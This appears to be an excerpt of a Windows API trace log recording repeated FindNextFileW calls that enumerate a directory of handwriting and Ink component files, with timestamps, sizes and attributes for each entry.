	[0242.151] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb281a570, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb281a570, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x339380, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1
	[0242.151] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x58400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1
	[0242.151] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ecc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1
	[0242.152] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x59a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1
	[0242.152] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x972, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsar.xml", cAlternateFileName="")) returned 1
	[0242.152] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1
	[0242.152] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1
	[0242.152] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1
	[0242.154] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1
	[0242.154] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1
	[0242.154] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1
	[0242.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsel.xml", cAlternateFileName="")) returned 1
	[0242.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1
	[0242.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1
	[0242.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1
	[0242.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1
	[0242.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1
	[0242.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshe.xml", cAlternateFileName="")) returned 1
	[0242.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshi.xml", cAlternateFileName="")) returned 1
	[0242.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1
	[0242.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsid.xml", cAlternateFileName="")) returned 1
	[0242.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1
	[0242.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1
	[0242.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1
	[0242.155] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1
	[0242.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1
	[0242.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1
	[0242.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1
	[0242.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1
	[0242.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1
	[0242.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1
	[0242.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1
	[0242.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1
	[0242.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1
	[0242.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1
	[0242.156] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1
	[0242.157] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipstr.xml", cAlternateFileName="")) returned 1
	[0242.157] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0242.157] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0242.157] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0242.157] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1
	[0242.157] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0242.159] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0242.160] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1
	[0242.160] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc2004e62, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1
	[0242.160] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd51e08b5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd51e08b5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x178200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1
